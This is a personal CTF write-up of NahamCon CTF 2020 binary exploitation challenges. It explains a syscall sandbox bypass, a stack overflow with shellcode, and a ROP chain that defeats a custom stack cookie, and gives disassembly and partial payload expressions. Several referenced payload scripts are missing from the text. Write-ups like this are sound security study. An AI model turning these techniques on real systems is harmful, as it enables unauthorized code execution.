NahamCon CTF 2020

Nguyễn Tín
6 min readJun 18, 2020

--

although this event i can only finished 1 one challenge but i learnt a lot from others writeup. It’s make me feel that I only have the width not the depth in exploiting. Now I need to reflect meself about what i’ve been doing right now. That’s some random shit I want to express. Let’s just dive into the game

###Dangerous

this is the eziest one (and the only one I solved :< ) so i won’t talk much about those

###SaaS

in this challenge i’m stuck at what should I do when I only know open, read, write flag and I don’t think much about the alternative way. Now thinking back I felt too bad :<

why we can’t open, read, write?

as you can see the binary pass into the syscall hex value, instead of “flag.txt” so there’s no way we can do the normal way. there’s alot of alternative way to write out the flag, in this writeup i’m using h4ck3rb0b writeup to help meself understand more

we’re gonna using the following syscalls:

int brk(void *addr)
int arch_prctl(int code, unsigned long addr)
int openat(int dirfd, const char *pathname, int flags, mode_t mode)

ssize_t write(int fd, const void *buf, size_t count)
  • the brk() syscall help us allocate the heap memory, we need it to create space to write() our flag
  • the arch_prctl() let you set the FS and GS segment registers x86_64 linux systems. long story short this function gonna let us write 4 bytes to where you point to.
  • the openat() is the same as open() but it’s will return fd if you provide dirfd(which is AT_FDCWD) and relative pathname (which is the one we wrote by arch_prctl())

that’s it! now let’s create the wrapper to send our data

and another one is for using arch_prctl()

we need to “set” what value to write before “get” which address we want to write

use this to find the correct value of ARCH_SET_GS , ARCH_GET_GS , AT_FDCWD

#include <asm/prctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/types.h>
int main(){
printf("ARCH_SET_GS = 0x%x\n", ARCH_SET_GS);
printf("ARCH_GET_GS = 0x%x\n", ARCH_GET_GS);
printf("AT_FDCWD = 0x%x\n", AT_FDCWD);
return 0;
}
  • we need to brk(0) to get the heap base
  • extend the length of the heap brk(0x1000)
  • write ‘flag.txt’ to heap by using the wrapper above
  • pop openat to get the dirfd for read(), write()

first is heap base and extend the heap

2nd is write flag to heap

3rd is fd

finally using the fd you received from openat we can have our flag

###shift-ahoy

the binary got bof at encrypt function. With no mitigation we can just send shellcode to the stack, but before that there’s a couple things to notice

you can see that the mov r15, rsp gadget set the stack address, if we pad our payload (shellcode + rubbish) = offset(0x58)then the r15 will point to shellcode. Now we have the stack address pointed to our shell, we just need to find a gadget that’s gonna call r15.

great, our gadget is 0x4011cd now we just pad it to the ret address and then the program gonna trigger our shell.

###syrup

then again this challenge got bof, but it’s only have 3 function, this one i really exciting when i saw the solution of WreckTheLine

take a quick look through the 3 function

Disassembly of section .text:0000000000401000 <fn2>:
401000: 55 push rbp
401001: 48 89 e5 mov rbp,rsp
401004: 58 pop rax
401005: 48 bf 11 20 40 00 00 movabs rdi,0x402011
40100c: 00 00 00
40100f: 0f 05 syscall
401011: 5d pop rbp
401012: c3 ret
0000000000401013 <nope>:
401013: b8 01 00 00 00 mov eax,0x1
401018: bf 01 00 00 00 mov edi,0x1
40101d: 48 be 11 20 40 00 00 movabs rsi,0x402011
401024: 00 00 00
401027: ba 07 00 00 00 mov edx,0x7
40102c: 0f 05 syscall
40102e: b8 3c 00 00 00 mov eax,0x3c
401033: bf 00 00 00 00 mov edi,0x0
401038: 0f 05 syscall
40103a: 2f (bad)
40103b: 62 (bad)
40103c: 69 .byte 0x69
40103d: 6e outs dx,BYTE PTR ds:[rsi]
40103e: 2f (bad)
40103f: 73 68 jae 4010a9 <_start+0x27>
...
0000000000401042 <fn1>:
401042: 55 push rbp
401043: 48 89 e5 mov rbp,rsp
401046: b8 ad de 00 00 mov eax,0xdead
40104b: 48 35 ef be 00 00 xor rax,0xbeef
401051: 50 push rax
401052: 48 83 ed 08 sub rbp,0x8
401056: 48 81 ed 00 04 00 00 sub rbp,0x400
40105d: b8 00 00 00 00 mov eax,0x0
401062: bf 00 00 00 00 mov edi,0x0
401067: 48 89 ee mov rsi,rbp
40106a: ba 00 08 00 00 mov edx,0x800
40106f: 0f 05 syscall
401071: 58 pop rax
401072: 48 35 ef be 00 00 xor rax,0xbeef
401078: 48 3d ad de 00 00 cmp rax,0xdead
40107e: 75 93 jne 401013 <nope>
401080: 5d pop rbp
401081: c3 ret
0000000000401082 <_start>:
401082: 55 push rbp
401083: 48 89 e5 mov rbp,rsp
401086: b8 01 00 00 00 mov eax,0x1
40108b: bf 01 00 00 00 mov edi,0x1
401090: 48 be 00 20 40 00 00 movabs rsi,0x402000
401097: 00 00 00
40109a: ba 11 00 00 00 mov edx,0x11
40109f: 0f 05 syscall
4010a1: e8 9c ff ff ff call 401042 <fn1>
4010a6: e9 68 ff ff ff jmp 401013 <nope>

as you can see there’s a bof at offset 0x400, and then the binary create a cookie check 0xdead^0xbeef if there’s something happen to the cookie, the control flow jump to nope, so to bypass it we just need p64(0xdead^0xbeef)*2 after the padding (*2 because of pop rbp). Now what should we do next? without any mitigation, we need to send our shell to where it writable and excutable

so i’m gonna use 0x402000 to store our shell. But how can we write it? notice the read syscall at fn1 function

  40105d: b8 00 00 00 00        mov    eax,0x0
401062: bf 00 00 00 00 mov edi,0x0
401067: 48 89 ee mov rsi,rbp
40106a: ba 00 08 00 00 mov edx,0x800
40106f: 0f 05 syscall
ssize_t read(int fd, void *buf, size_t count)

notice the mov rsi, rbp , which is *buf, if we can change the value of rbp to point to 0x402000 then it will read input to 0x402000 .

fortunately, there’s a gadget that can solve this problem

401080: 5d                    pop    rbp

adding to the previous payload, now we have

offset + p64(0xdead^0xbeef)*2 + p64(0x401080) + p64(0x402000)

ofc, that’s not enough to trigger the shell, as you notice, we need to add another cookie bypass and then point back to 0x402000

so our final payload is

and then send the shell

--

--